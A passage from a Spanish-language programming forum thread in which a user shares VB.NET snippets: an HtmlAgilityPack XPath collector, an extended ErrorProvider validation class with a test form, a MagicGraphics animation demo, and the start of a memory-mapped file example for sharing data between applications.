  36.    ''' <param name="Node">Indicates the <see cref="HtmlAgilityPack.HtmlNode"/>.</param>
  37.    ''' <param name="XPathList">Indicates a ByReffered XPath list as a <see cref="List(Of String)"/>.</param>
  38.    ''' <param name="XPath">Indicates the current XPath.</param>
  39.    Private Sub GetHtmlXPaths(ByVal Node As HtmlAgilityPack.HtmlNode,
  40.                              ByRef XPathList As List(Of String),
  41.                              Optional ByVal XPath As String = Nothing)
  42.  
  43.        XPath &= Node.XPath.Substring(Node.XPath.LastIndexOf("/"c))
  44.  
  45.        Const ClassNameFilter As String = "[@class='{0}']"
  46.        Dim ClassName As String = Node.GetAttributeValue("class", String.Empty)
  47.  
  48.        If Not String.IsNullOrEmpty(ClassName) Then
  49.            XPath &= String.Format(ClassNameFilter, ClassName)
  50.        End If
  51.  
  52.        If Not XPathList.Contains(XPath) Then
  53.            XPathList.Add(XPath)
  54.        End If
  55.  
  56.        For Each Child As HtmlAgilityPack.HtmlNode In Node.ChildNodes
  57.  
  58.            If Child.NodeType = HtmlAgilityPack.HtmlNodeType.Element Then
  59.                GetHtmlXPaths(Child, XPathList, XPath)
  60.            End If
  61.  
  62.        Next Child
  63.  
  64.    End Sub
  65.  


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Agosto 2014, 12:02 pm
Me encontré por ahí un ErrorProvider extendido, ya no recuerdo donde lo encontré, y la documentación es... bueno, muy pobre, pero es facil de usar y sencillo de entender a pesar de ello:

'Following class is inherited from basic ErrorProvider class
#Region "Error Provider Extended"
Public Class ErrorProviderExtended
    Inherits System.Windows.Forms.ErrorProvider
    Private _validationcontrols As New ValidationControlCollection
    Private _summarymessage As String = "Please enter following mandatory fields,"

    'This property will be used for displaying a summary message about all empty fields
    'Default value is "Please enter following mandatory fields,". You can set any other
    'message using this property.
    Public Property SummaryMessage() As String
        Get
            Return _summarymessage
        End Get
        Set(ByVal Value As String)
            _summarymessage = Value
        End Set
    End Property

    'Controls property is of type ValidationControlCollection which is inherited from CollectionBase
    'Controls holds all those objects which should be validated.
    Public Property Controls() As ValidationControlCollection
        Get
            Return _validationcontrols
        End Get
        Set(ByVal Value As ValidationControlCollection)
            _validationcontrols = Value
        End Set
    End Property

    'Following function returns true if all fields on form are entered.
    'If not all fields are entered, this function displays a message box which contains all those field names
    'which are empty and returns FALSE.
    Public Function CheckAndShowSummaryErrorMessage() As Boolean
        If Controls.Count <= 0 Then
            Return True
        End If
        Dim i As Integer
        Dim msg As String = SummaryMessage + vbNewLine + vbNewLine
        Dim berrors As Boolean = False
        For i = 0 To Controls.Count - 1
            If Controls(i).Validate Then
                If Trim(Controls(i).ControlObj.text) = "" Then
                    msg &= "> " & Controls(i).DisplayName & vbNewLine
                    SetError(Controls(i).ControlObj, Controls(i).ErrorMessage)
                    berrors = True
                Else
                    SetError(Controls(i).ControlObj, "")
                End If
            Else
                SetError(Controls(i).ControlObj, "")
            End If
        Next
        If berrors Then
            System.Windows.Forms.MessageBox.Show(msg, "Missing Information", Windows.Forms.MessageBoxButtons.OK, Windows.Forms.MessageBoxIcon.Stop)
            Return False
        Else
            Return True
        End If
    End Function

    'Following function clears error messages from all controls.
    Public Sub ClearAllErrorMessages()
        Dim i As Integer
        For i = 0 To Controls.Count - 1
            SetError(Controls(i).ControlObj, "")
        Next
    End Sub

    'This function hooks validation event with all controls.
    Public Sub SetErrorEvents()
        Dim i As Integer
        For i = 0 To Controls.Count - 1
            AddHandler CType(Controls(i).ControlObj, System.Windows.Forms.Control).Validating, AddressOf Validation_Event
        Next
    End Sub

    'Following event is hooked for all controls, it sets an error message with the use of ErrorProvider.
    Private Sub Validation_Event(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) 'Handles txtCompanyName.Validating
        If Controls(sender).Validate Then
            If Trim(sender.Text) = "" Then
                MyBase.SetError(sender, Controls(sender).ErrorMessage)
            Else
                MyBase.SetError(sender, "")
            End If
        End If
    End Sub
End Class
#End Region

'Following class is inherited from CollectionBase class. It is used for holding all Validation Controls.
'This class is collection of ValidationControl class objects.
'This class is used by ErrorProviderExtended class.
#Region "ValidationControlCollection"
Public Class ValidationControlCollection
    Inherits CollectionBase
    Default Public Property Item(ByVal ListIndex As Integer) As ValidationControl
        Get
            Return Me.List(ListIndex)
        End Get
        Set(ByVal Value As ValidationControl)
            Me.List(ListIndex) = Value
        End Set
    End Property


    Default Public Property Item(ByVal pControl As Object) As ValidationControl
        Get
            If IsNothing(pControl) Then
                Return Nothing
            End If

            If GetIndex(pControl.Name) < 0 Then
                Return New ValidationControl
            End If
            Return Me.List(GetIndex(pControl.Name))
        End Get
        Set(ByVal Value As ValidationControl)
            If IsNothing(pControl) Then Exit Property
            If GetIndex(pControl.Name) < 0 Then
                Exit Property
            End If
            Me.List(GetIndex(pControl.Name)) = Value
        End Set
    End Property
    Function GetIndex(ByVal ControlName As String) As Integer
        Dim i As Integer
        For i = 0 To Count - 1
            If Item(i).ControlObj.name.toupper = ControlName.ToUpper Then
                Return i
            End If
        Next
        Return -1
    End Function
    Public Sub Add(ByRef pControl As Object, ByVal pDisplayName As String)
        If IsNothing(pControl) Then Exit Sub
        Dim obj As New ValidationControl
        obj.ControlObj = pControl
        obj.DisplayName = pDisplayName
        obj.ErrorMessage = "Please enter " + pDisplayName
        Me.List.Add(obj)
    End Sub

    Public Sub Add(ByRef pControl As Object, ByVal pDisplayName As String, ByVal pErrorMessage As String)
        If IsNothing(pControl) Then Exit Sub
        Dim obj As New ValidationControl
        obj.ControlObj = pControl
        obj.DisplayName = pDisplayName
        obj.ErrorMessage = pErrorMessage
        Me.List.Add(obj)
    End Sub
    Public Sub Add(ByRef pControl As Object)
        If IsNothing(pControl) Then Exit Sub
        Dim obj As New ValidationControl
        obj.ControlObj = pControl
        obj.DisplayName = pControl.Name
        obj.ErrorMessage = "Please enter " + pControl.Name
        Me.List.Add(obj)
    End Sub
    Public Sub Add(ByVal pControl As ValidationControl)
        If IsNothing(pControl) Then Exit Sub
        Me.List.Add(pControl)
    End Sub
    Public Sub Remove(ByVal pControl As Object)
        If IsNothing(pControl) Then Exit Sub
        Dim i As Integer = Me.GetIndex(pControl.Name)
        If i >= 0 Then
            Me.List.RemoveAt(i)
        End If
    End Sub
End Class
#End Region

'ValidationControl class is used to hold any control from windows form.
'It holds any control in ControlObj property.
#Region "ValidationControl"
Public Class ValidationControl
    Private _control As Object
    Private _displayname As String
    Private _errormessage As String
    Private _validate As Boolean = True

    'Validate property decides weather control is to be validated. Default value is TRUE.
    Public Property Validate() As Boolean
        Get
            Return _validate
        End Get
        Set(ByVal Value As Boolean)
            _validate = Value
        End Set
    End Property

    'ControlObj is a control from windows form which is to be validated.
    'For example txtStudentName
    Public Property ControlObj() As Object
        Get
            Return _control
        End Get
        Set(ByVal Value As Object)
            _control = Value
        End Set
    End Property

    'DisplayName property is used for displaying summary message to user.
    'For example, for txtStudentName you can set 'Student Full Name' as field name.
    'This field name will be displayed in summary message.
    Public Property DisplayName() As String
        Get
            Return _displayname
        End Get
        Set(ByVal Value As String)
            _displayname = Value
        End Set
    End Property

    'ErrorMessage is also used for displaying summary message.
    'For example, you can enter 'Student Name is mandatory' as an error message.
    Public Property ErrorMessage() As String
        Get
            Return _errormessage
        End Get
        Set(ByVal Value As String)
            _errormessage = Value
        End Set
    End Property
End Class
#End Region



EDITO: Ya lo he documentado yo así rapidamente:

Código
  1. #Region "Error Provider Extended"
  2.  
  3. ''' <summary>
  4. ''' Provides a user interface for indicating that a control on a form has an error associated with it.
  5. ''' </summary>
  6. Public Class ErrorProviderExtended
  7.  
  8.    Inherits System.Windows.Forms.ErrorProvider
  9.    Private _validationcontrols As New ValidationControlCollection
  10.    Private _summarymessage As String = "Please enter following mandatory fields,"
  11.  
  12.    ''' <summary>
  13.    ''' Gets or sets the summary message.
  14.    ''' This property will be used for displaying a summary message about all empty fields.
  15.    ''' Default value is "Please enter following mandatory fields,".
  16.    ''' You can set any other message using this property.
  17.    ''' </summary>
  18.    ''' <value>The summary message.</value>
  19.    Public Property SummaryMessage() As String
  20.        Get
  21.            Return _summarymessage
  22.        End Get
  23.        Set(ByVal Value As String)
  24.            _summarymessage = Value
  25.        End Set
  26.    End Property
  27.  
  28.    ''' <summary>
  29.    ''' Gets or sets the controls which should be validated.
  30.    ''' </summary>
  31.    ''' <value>The controls.</value>
  32.    Public Property Controls() As ValidationControlCollection
  33.        Get
  34.            Return _validationcontrols
  35.        End Get
  36.        Set(ByVal Value As ValidationControlCollection)
  37.            _validationcontrols = Value
  38.        End Set
  39.    End Property
  40.  
  41.    ''' <summary>
  42.    ''' Checks the and show summary error message.
  43.    ''' </summary>
  44.    ''' <param name="ShowMessage">
  45.    ''' If set to <c>true</c>, This function displays a message box which contains all the field names which are empty.
  46.    ''' </param>
  47.    ''' <returns><c>true</c> if all fields on form are entered, <c>false</c> otherwise.</returns>
  48.    Public Function CheckAndShowSummaryErrorMessage(Optional ByVal ShowMessage As Boolean = False) As Boolean
  49.  
  50.        If Controls.Count <= 0 Then
  51.            Return True
  52.        End If
  53.  
  54.        Dim i As Integer
  55.        Dim msg As String = SummaryMessage + vbNewLine + vbNewLine
  56.        Dim berrors As Boolean = False
  57.  
  58.        For i = 0 To Controls.Count - 1
  59.  
  60.            If Controls(i).Validate Then
  61.                If Trim(Controls(i).ControlObj.text) = "" Then
  62.                    If ShowMessage Then
  63.                        msg &= "> " & Controls(i).DisplayName & vbNewLine
  64.                    End If
  65.                    SetError(Controls(i).ControlObj, Controls(i).ErrorMessage)
  66.                    berrors = True
  67.                Else
  68.                    SetError(Controls(i).ControlObj, "")
  69.                End If
  70.            Else
  71.                SetError(Controls(i).ControlObj, "")
  72.            End If
  73.  
  74.        Next i
  75.  
  76.        If berrors Then
  77.            If ShowMessage Then
  78.                MessageBox.Show(msg, "Missing Information", MessageBoxButtons.OK, MessageBoxIcon.Stop)
  79.            End If
  80.            Return False
  81.        Else
  82.            Return True
  83.        End If
  84.  
  85.    End Function
  86.  
  87.    ''' <summary>
  88.    ''' Clears error messages from all controls.
  89.    ''' </summary>
  90.    Public Sub ClearAllErrorMessages()
  91.  
  92.        Dim i As Integer
  93.        For i = 0 To Controls.Count - 1
  94.            SetError(Controls(i).ControlObj, "")
  95.        Next
  96.  
  97.    End Sub
  98.  
  99.    ''' <summary>
  100.    ''' Hooks validation event with all controls.
  101.    ''' </summary>
  102.    Public Sub SetErrorEvents()
  103.  
  104.        Dim i As Integer
  105.        For i = 0 To Controls.Count - 1
  106.            AddHandler CType(Controls(i).ControlObj, System.Windows.Forms.Control).Validating, AddressOf Validation_Event
  107.        Next
  108.  
  109.    End Sub
  110.  
  111.    ''' <summary>
  112.    ''' Handles the Event event of the Validation control.
  113.    ''' This event is hooked for all controls,
  114.    ''' it sets an error message with the use of ErrorProvider
  115.    ''' </summary>
  116.    ''' <param name="sender">The source of the event.</param>
  117.    ''' <param name="e">The <see cref="System.ComponentModel.CancelEventArgs"/> instance containing the event data.</param>
  118.    Private Sub Validation_Event(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs)
  119.  
  120.        If Controls(sender).Validate Then
  121.            If Trim(sender.Text) = "" Then
  122.                MyBase.SetError(sender, Controls(sender).ErrorMessage)
  123.            Else
  124.                MyBase.SetError(sender, "")
  125.            End If
  126.        End If
  127.  
  128.    End Sub
  129.  
  130. End Class
  131.  
  132. #End Region
  133.  
  134. #Region "ValidationControlCollection"
  135.  
  136. ''' <summary>
  137. ''' This class is used for holding all Validation Controls.
  138. ''' This class is collection of 'ValidationControl' class objects.
  139. ''' This class is used by 'ErrorProviderExtended' class.
  140. ''' </summary>
  141. Public Class ValidationControlCollection : Inherits CollectionBase
  142.  
  143.    Default Public Property Item(ByVal ListIndex As Integer) As ValidationControl
  144.        Get
  145.            Return Me.List(ListIndex)
  146.        End Get
  147.        Set(ByVal Value As ValidationControl)
  148.            Me.List(ListIndex) = Value
  149.        End Set
  150.    End Property
  151.  
  152.    Default Public Property Item(ByVal pControl As Object) As ValidationControl
  153.        Get
  154.            If IsNothing(pControl) Then
  155.                Return Nothing
  156.            End If
  157.  
  158.            If GetIndex(pControl.Name) < 0 Then
  159.                Return New ValidationControl
  160.            End If
  161.            Return Me.List(GetIndex(pControl.Name))
  162.        End Get
  163.        Set(ByVal Value As ValidationControl)
  164.            If IsNothing(pControl) Then Exit Property
  165.            If GetIndex(pControl.Name) < 0 Then
  166.                Exit Property
  167.            End If
  168.            Me.List(GetIndex(pControl.Name)) = Value
  169.        End Set
  170.    End Property
  171.  
  172.    Function GetIndex(ByVal ControlName As String) As Integer
  173.        Dim i As Integer
  174.        For i = 0 To Count - 1
  175.            If Item(i).ControlObj.name.toupper = ControlName.ToUpper Then
  176.                Return i
  177.            End If
  178.        Next
  179.        Return -1
  180.    End Function
  181.  
  182.    Public Sub Add(ByRef pControl As Object, ByVal pDisplayName As String)
  183.        If IsNothing(pControl) Then Exit Sub
  184.        Dim obj As New ValidationControl
  185.        obj.ControlObj = pControl
  186.        obj.DisplayName = pDisplayName
  187.        obj.ErrorMessage = "Please enter " + pDisplayName
  188.        Me.List.Add(obj)
  189.    End Sub
  190.  
  191.    Public Sub Add(ByRef pControl As Object, ByVal pDisplayName As String, ByVal pErrorMessage As String)
  192.        If IsNothing(pControl) Then Exit Sub
  193.        Dim obj As New ValidationControl
  194.        obj.ControlObj = pControl
  195.        obj.DisplayName = pDisplayName
  196.        obj.ErrorMessage = pErrorMessage
  197.        Me.List.Add(obj)
  198.    End Sub
  199.  
  200.    Public Sub Add(ByRef pControl As Object)
  201.        If IsNothing(pControl) Then Exit Sub
  202.        Dim obj As New ValidationControl
  203.        obj.ControlObj = pControl
  204.        obj.DisplayName = pControl.Name
  205.        obj.ErrorMessage = "Please enter " + pControl.Name
  206.        Me.List.Add(obj)
  207.    End Sub
  208.  
  209.    Public Sub Add(ByVal pControl As ValidationControl)
  210.        If IsNothing(pControl) Then Exit Sub
  211.        Me.List.Add(pControl)
  212.    End Sub
  213.  
  214.    Public Sub Remove(ByVal pControl As Object)
  215.        If IsNothing(pControl) Then Exit Sub
  216.        Dim i As Integer = Me.GetIndex(pControl.Name)
  217.        If i >= 0 Then
  218.            Me.List.RemoveAt(i)
  219.        End If
  220.    End Sub
  221. End Class
  222.  
  223. #End Region
  224.  
  225. #Region "ValidationControl"
  226.  
  227. ''' <summary>
  228. ''' ValidationControl class is used to hold any control from windows form.
  229. ''' 'It holds any control in 'ControlObj' property.
  230. ''' </summary>
  231. Public Class ValidationControl
  232.  
  233.    Private _control As Object
  234.    Private _displayname As String
  235.    Private _errormessage As String
  236.    Private _validate As Boolean = True
  237.  
  238.    ''' <summary>
  239.    ''' Decides weather control is to be validated. Default value is TRUE.
  240.    ''' </summary>
  241.    ''' <value><c>true</c> if validate; otherwise, <c>false</c>.</value>
  242.    Public Property Validate() As Boolean
  243.        Get
  244.            Return _validate
  245.        End Get
  246.        Set(ByVal Value As Boolean)
  247.            _validate = Value
  248.        End Set
  249.    End Property
  250.  
  251.    ''' <summary>
  252.    ''' ControlObj is a Control from windows form which is to be validated.
  253.    ''' </summary>
  254.    ''' <value>The control object.</value>
  255.    Public Property ControlObj() As Object
  256.        Get
  257.            Return _control
  258.        End Get
  259.        Set(ByVal Value As Object)
  260.            _control = Value
  261.        End Set
  262.    End Property
  263.  
  264.    ''' <summary>
  265.    ''' DisplayName property is used for displaying summary message to user.
  266.    ''' This field name will be displayed in summary message.
  267.    ''' </summary>
  268.    ''' <value>The display name.</value>
  269.    Public Property DisplayName() As String
  270.        Get
  271.            Return _displayname
  272.        End Get
  273.        Set(ByVal Value As String)
  274.            _displayname = Value
  275.        End Set
  276.    End Property
  277.  
  278.    ''' <summary>
  279.    ''' ErrorMessage is also used for displaying summary message.
  280.    ''' </summary>
  281.    ''' <value>The error message.</value>
  282.    Public Property ErrorMessage() As String
  283.        Get
  284.            Return _errormessage
  285.        End Get
  286.        Set(ByVal Value As String)
  287.            _errormessage = Value
  288.        End Set
  289.    End Property
  290.  
  291. End Class
  292.  
  293. #End Region

Escribí este Form para probar su utilidad:

(http://i.imgur.com/05EnBiS.png)

Código
  1. Public Class ErrorProviderExtended_TestForm
  2.  
  3.    ''' <summary>
  4.    ''' The ErrorProviderExtended instance.
  5.    ''' </summary>
  6.    Private WithEvents MyErrorProvider As New ErrorProviderExtended
  7.  
  8.    ''' <summary>
  9.    ''' Control to validate its content.
  10.    ''' </summary>
  11.    Private WithEvents tbValue As New TextBox
  12.  
  13.    ''' <summary>
  14.    ''' Control that validates general errors.
  15.    ''' </summary>
  16.    Private WithEvents btValidator As New Button
  17.  
  18.    ''' <summary>
  19.    ''' Control that reports the current error message.
  20.    ''' </summary>
  21.    Private lblError As New Label
  22.  
  23.    ''' <summary>
  24.    ''' Control used to indicate a textbox hint.
  25.    ''' </summary>
  26.    Private lblHint As New Label
  27.  
  28.    ''' <summary>
  29.    ''' This value determines whether exists errors that need to be fixed.
  30.    ''' </summary>
  31.    Dim ErrorExists As Boolean = False
  32.  
  33.    Public Sub New()
  34.  
  35.        ' This call is required by the designer.
  36.        InitializeComponent()
  37.  
  38.        With Me.lblHint
  39.            .Location = New Point(10, 10)
  40.            .Text = "Type an 'Int32' value:"
  41.            .ForeColor = Color.WhiteSmoke
  42.            .AutoSize = True
  43.        End With
  44.  
  45.        With Me.tbValue
  46.            .Location = New Point(15, 25)
  47.            .Size = New Size(100, Me.tbValue.Height)
  48.        End With
  49.  
  50.        With Me.lblError
  51.            .Location = New Point(10, 50)
  52.            .Text = ""
  53.            .ForeColor = Color.WhiteSmoke
  54.            .AutoSize = True
  55.        End With
  56.  
  57.        With Me.btValidator
  58.            .Location = New Point(Me.lblError.Location.X, Me.lblError.Location.Y + 20)
  59.            .Text = "Validate"
  60.            .FlatStyle = FlatStyle.System
  61.        End With
  62.  
  63.        With Me
  64.            .MaximizeBox = False
  65.            .StartPosition = FormStartPosition.CenterScreen
  66.            .FormBorderStyle = Windows.Forms.FormBorderStyle.FixedSingle
  67.            .Size = New Point(220, 150)
  68.            .BackColor = Color.FromArgb(34, 34, 36)
  69.            .Controls.AddRange({Me.lblHint, Me.lblError, Me.tbValue, Me.btValidator})
  70.        End With
  71.  
  72.    End Sub
  73.  
  74.    Private Sub Test_Load() Handles Me.Load
  75.  
  76.        With MyErrorProvider
  77.            .Controls.Add(Me.tbValue, "Int32")
  78.            .Controls(Me.tbValue).Validate = True
  79.            .SummaryMessage = "Following fields are mandatory."
  80.        End With
  81.  
  82.        ' Change the textbox text to produce an intentional error.
  83.        tbValue.AppendText(" ")
  84.        tbValue.Clear()
  85.  
  86.    End Sub
  87.  
  88.    Private Sub Button1_Click() _
  89.    Handles btValidator.Click
  90.  
  91.        ' The following function checks all empty fields and returns TRUE if all fields are entered.
  92.        ' If any mandotary field is empty this function displays a message and returns FALSE.
  93.        If MyErrorProvider.CheckAndShowSummaryErrorMessage(ShowMessage:=True) Then
  94.  
  95.            If Not Me.ErrorExists Then
  96.                MessageBox.Show("Data submited successfully.", "", MessageBoxButtons.OK, MessageBoxIcon.Information)
  97.            Else
  98.                MessageBox.Show("Data cannot be submited, fix the error(s).", "", MessageBoxButtons.OK, MessageBoxIcon.Error)
  99.            End If
  100.  
  101.        End If
  102.  
  103.    End Sub
  104.  
  105.    ''' <summary>
  106.    ''' Handles the TextChanged event of the tbValue control.
  107.    ''' </summary>
  108.    Private Sub tbValue_TextChanged(sender As Object, e As EventArgs) _
  109.    Handles tbValue.TextChanged
  110.  
  111.        Dim Value As String = sender.text
  112.  
  113.        If String.IsNullOrEmpty(Value) Then
  114.            MyErrorProvider.SetError(sender, "TextBox is empty.")
  115.  
  116.        ElseIf Not Single.TryParse(Value, New Single) Then
  117.            MyErrorProvider.SetError(sender, "The value cannot contain letters.")
  118.  
  119.        ElseIf Single.TryParse(Value, New Single) Then
  120.  
  121.            If Value > Integer.MaxValue Then
  122.                MyErrorProvider.SetError(sender, "Value is greater than " & CStr(Integer.MaxValue))
  123.            Else ' Remove the error.
  124.                MyErrorProvider.SetError(sender, String.Empty)
  125.            End If
  126.  
  127.        Else ' Remove the error.
  128.            MyErrorProvider.SetError(sender, String.Empty)
  129.  
  130.        End If
  131.  
  132.        Me.lblError.Text = MyErrorProvider.GetError(sender)
  133.  
  134.        If String.IsNullOrEmpty(Me.lblError.Text) Then
  135.            Me.lblError.Text = "No errors :)"
  136.            Me.ErrorExists = False
  137.        Else
  138.            Me.ErrorExists = True
  139.        End If
  140.  
  141.    End Sub
  142.  
  143. End Class
  144.  
  145.  
  146.  


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Agosto 2014, 22:06 pm
Un ejemplo de uso de la librería MagicGraphics: http://www.codeproject.com/Articles/19188/Magic-Graphics

(http://i.imgur.com/nCfFDWf.gif)

(http://www.codeproject.com/KB/vb/Magic_Graphics/MG.gif)



Escribí este Form para jugar un poco con la funcionalidad de esta librería, la verdad es que es muy sencillo.

(http://i.imgur.com/aBn0Nht.gif)

Código
  1. Public Class MagicGraphics_Test
  2.  
  3.    Private WithEvents RotationTimer As New Timer With {.Enabled = True, .Interval = 25}
  4.  
  5.    Dim SC As MagicGraphics.ShapeContainer
  6.  
  7.    Private Sub Tst_Shown() Handles MyBase.Shown
  8.  
  9.        SC = New MagicGraphics.ShapeContainer(PictureBox1.CreateGraphics, PictureBox1.Width, PictureBox1.Height, Color.Black, PictureBox1.Image)
  10.        PictureBox1.Image = SC.BMP
  11.        SC.AutoFlush = False
  12.  
  13.        Dim Sq As New MagicGraphics.Rectangle(New Pen(Color.Black, 3), Brushes.Aqua, 60, 20, 50, 50)
  14.        Sq.FillingBrush = New Drawing2D.LinearGradientBrush(New Point(0, 0), New Point(60, 0), Color.Yellow, Color.Red)
  15.        SC.AddShape(Sq)
  16.        Dim El As New MagicGraphics.Ellipse(New Pen(Color.Black, 3), Brushes.Olive, 60, 88, 50, 71)
  17.        El.FillingBrush = New Drawing2D.LinearGradientBrush(New Point(0, 0), New Point(30, 0), Color.Red, Color.SteelBlue)
  18.        SC.AddShape(El)
  19.  
  20.        RotationTimer.Start()
  21.  
  22.    End Sub
  23.  
  24.  
  25.    Private Sub RotationTimer_Tick() Handles RotationTimer.Tick
  26.  
  27.        Static Direction As Integer = 1I ' 0 = Left, 1 = Right
  28.  
  29.        For X As Integer = 0I To (SC.ShapesL.Count - 1)
  30.  
  31.            Dim shp As MagicGraphics.Shape = SC.ShapesL(X)
  32.  
  33.            shp.Rotate(-8)
  34.  
  35.            If shp.Location.X > (PictureBox1.Width - shp.Width) Then
  36.                Direction = 1I ' Right
  37.  
  38.            ElseIf shp.Location.X < PictureBox1.Location.X Then
  39.                Direction = 0I ' Left
  40.  
  41.            End If
  42.  
  43.            If Direction = 0 Then
  44.                shp.Move(shp.Location.X + 2, shp.Location.Y)
  45.  
  46.            Else
  47.                shp.Move(shp.Location.X - 2, shp.Location.Y)
  48.  
  49.            End If
  50.  
  51.            ' Debug.WriteLine(String.Format("Shape {0} Rotation: {1}", CStr(X), shp.Rotation))
  52.  
  53.        Next X
  54.  
  55.        SC.Flush()
  56.  
  57.    End Sub
  58.  
  59. End Class
  60.  


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 20 Agosto 2014, 02:06 am
He escrito este ejemplo para mostrar como se puede compartir un espacio de memoria que puede ser leido por diferentes aplicaciones:

(http://i.imgur.com/Iu9ByhP.gif)

Esta sería la aplicación número 1, creen un nuevo proyecto, copien y compilen este Form:

Código
  1. ' Example of sharing memory across different running applications.
  2. ' By Elektro
  3. '
  4. ' *************************
  5. ' This is the Application 1
  6. ' *************************
  7.  
  8. #Region " Imports "
  9.  
  10. Imports System.IO.MemoryMappedFiles
  11.  
  12. #End Region
  13.  
  14. #Region " Application 2 "
  15.  
  16. ''' <summary>
  17. ''' Class MemoryMappedFile_Form1.
  18. ''' This should be the Class used to compile our first application.
  19. ''' </summary>
  20. Public Class MemoryMappedFile_Form1
  21.  
  22.    ' The controls to create on execution-time.
  23.    Dim WithEvents btMakeFile As New Button ' Writes the memory.
  24.    Dim WithEvents btReadFile As New Button ' Reads the memory.
  25.    Dim tbMessage As New TextBox ' Determines the string to map into memory.
  26.    Dim tbReceptor As New TextBox ' Print the memory read's result.
  27.    Dim lbInfoButtons As New Label ' Informs the user with a usage hint for the buttons.
  28.    Dim lbInfotbMessage As New Label ' Informs the user with a usage hint for 'tbMessage'.
  29.  
  30.    ''' <summary>
  31.    ''' Indicates the name of our memory-file.
  32.    ''' </summary>
  33.    Private ReadOnly MemoryName As String = "My Memory-File Name"
  34.  
  35.    ''' <summary>
  36.    ''' Indicates the memory buffersize to store the <see cref="MemoryName"/>, in bytes.
  37.    ''' </summary>
  38.    Private ReadOnly MemoryBufferSize As Integer = 1024I
  39.  
  40.    ''' <summary>
  41.    ''' Indicates the string to map in memory.
  42.    ''' </summary>
  43.    Private ReadOnly Property strMessage As String
  44.        Get
  45.            Return tbMessage.Text
  46.        End Get
  47.    End Property
  48.  
  49.    ''' <summary>
  50.    ''' Initializes a new instance of the <see cref="MemoryMappedFile_Form1"/> class.
  51.    ''' </summary>
  52.    Public Sub New()
  53.  
  54.        ' This call is required by the designer.
  55.        InitializeComponent()
  56.  
  57.        ' Set the properties of the controls.
  58.        With lbInfotbMessage
  59.            .Location = New Point(20, 10)
  60.            .Text = "Type in this TextBox the message to write in memory:"
  61.            .AutoSize = True
  62.            ' .Size = tbReceptor.Size
  63.        End With
  64.        With tbMessage
  65.            .Text = "Hello world from application one!"
  66.            .Location = New Point(20, 30)
  67.            .Size = New Size(310, Me.tbMessage.Height)
  68.        End With
  69.        With btMakeFile
  70.            .Text = "Write Memory"
  71.            .Size = New Size(130, 45)
  72.            .Location = New Point(20, 50)
  73.        End With
  74.        With btReadFile
  75.            .Text = "Read Memory"
  76.            .Size = New Size(130, 45)
  77.            .Location = New Point(200, 50)
  78.        End With
  79.        With tbReceptor
  80.            .Location = New Point(20, 130)
  81.            .Size = New Size(310, 100)
  82.            .Multiline = True
  83.        End With
  84.        With lbInfoButtons
  85.            .Location = New Point(tbReceptor.Location.X, tbReceptor.Location.Y - 30)
  86.            .Text = "Press '" & btMakeFile.Text & "' button to create the memory file, that memory can be read from both applications."
  87.            .AutoSize = False
  88.            .Size = tbReceptor.Size
  89.        End With
  90.  
  91.        ' Set the Form properties.
  92.        With Me
  93.            .Text = "Application 1"
  94.            .Size = New Size(365, 300)
  95.            .FormBorderStyle = Windows.Forms.FormBorderStyle.FixedSingle
  96.            .MaximizeBox = False
  97.            .StartPosition = FormStartPosition.CenterScreen
  98.        End With
  99.  
  100.        ' Add the controls on the UI.
  101.        Me.Controls.AddRange({lbInfotbMessage, tbMessage, btMakeFile, btReadFile, tbReceptor, lbInfoButtons})
  102.  
  103.    End Sub
  104.  
  105.    ''' <summary>
  106.    ''' Writes a byte sequence into a <see cref="MemoryMappedFile"/>.
  107.    ''' </summary>
  108.    ''' <param name="Name">Indicates the name to assign the <see cref="MemoryMappedFile"/>.</param>
  109.    ''' <param name="BufferLength">Indicates the <see cref="MemoryMappedFile"/> buffer-length to write in.</param>
  110.    ''' <param name="Data">Indicates the byte-data to write inside the <see cref="MemoryMappedFile"/>.</param>
  111.    Private Sub MakeMemoryMappedFile(ByVal Name As String, ByVal BufferLength As Integer, ByVal Data As Byte())
  112.  
  113.        ' Create or open the memory-mapped file.
  114.        Dim MessageFile As MemoryMappedFile =
  115.            MemoryMappedFile.CreateOrOpen(Name, Me.MemoryBufferSize, MemoryMappedFileAccess.ReadWrite)
  116.  
  117.        ' Write the byte-sequence into memory.
  118.        Using Writer As MemoryMappedViewAccessor =
  119.            MessageFile.CreateViewAccessor(0L, Me.MemoryBufferSize, MemoryMappedFileAccess.ReadWrite)
  120.  
  121.            ' Firstly fill with null all the buffer.
  122.            Writer.WriteArray(Of Byte)(0L, System.Text.Encoding.ASCII.GetBytes(New String(Nothing, Me.MemoryBufferSize)), 0I, Me.MemoryBufferSize)
  123.  
  124.            ' Secondly write the byte-data.
  125.            Writer.WriteArray(Of Byte)(0L, Data, 0I, Data.Length)
  126.  
  127.        End Using ' Writer
  128.  
  129.    End Sub
  130.  
  131.    ''' <summary>
  132.    ''' Reads a byte-sequence from a <see cref="MemoryMappedFile"/>.
  133.    ''' </summary>
  134.    ''' <param name="Name">Indicates an existing <see cref="MemoryMappedFile"/> assigned name.</param>
  135.    ''' <param name="BufferLength">The buffer-length to read in.</param>
  136.    ''' <returns>System.Byte().</returns>
  137.    Private Function ReadMemoryMappedFile(ByVal Name As String, ByVal BufferLength As Integer) As Byte()
  138.  
  139.        Try
  140.            Using MemoryFile As MemoryMappedFile =
  141.                MemoryMappedFile.OpenExisting(Name, MemoryMappedFileRights.Read)
  142.  
  143.                Using Reader As MemoryMappedViewAccessor =
  144.                    MemoryFile.CreateViewAccessor(0L, BufferLength, MemoryMappedFileAccess.Read)
  145.  
  146.                    Dim ReadBytes As Byte() = New Byte(BufferLength - 1I) {}
  147.                    Reader.ReadArray(Of Byte)(0L, ReadBytes, 0I, ReadBytes.Length)
  148.                    Return ReadBytes
  149.  
  150.                End Using ' Reader
  151.  
  152.            End Using ' MemoryFile
  153.  
  154.        Catch ex As IO.FileNotFoundException
  155.            Throw
  156.            Return Nothing
  157.  
  158.        End Try
  159.  
  160.    End Function
  161.  
  162.    ''' <summary>
  163.    ''' Handles the 'Click' event of the 'btMakeFile' control.
  164.    ''' </summary>
  165.    Private Sub btMakeFile_Click() Handles btMakeFile.Click
  166.  
  167.        ' Get the byte-data to create the memory-mapped file.
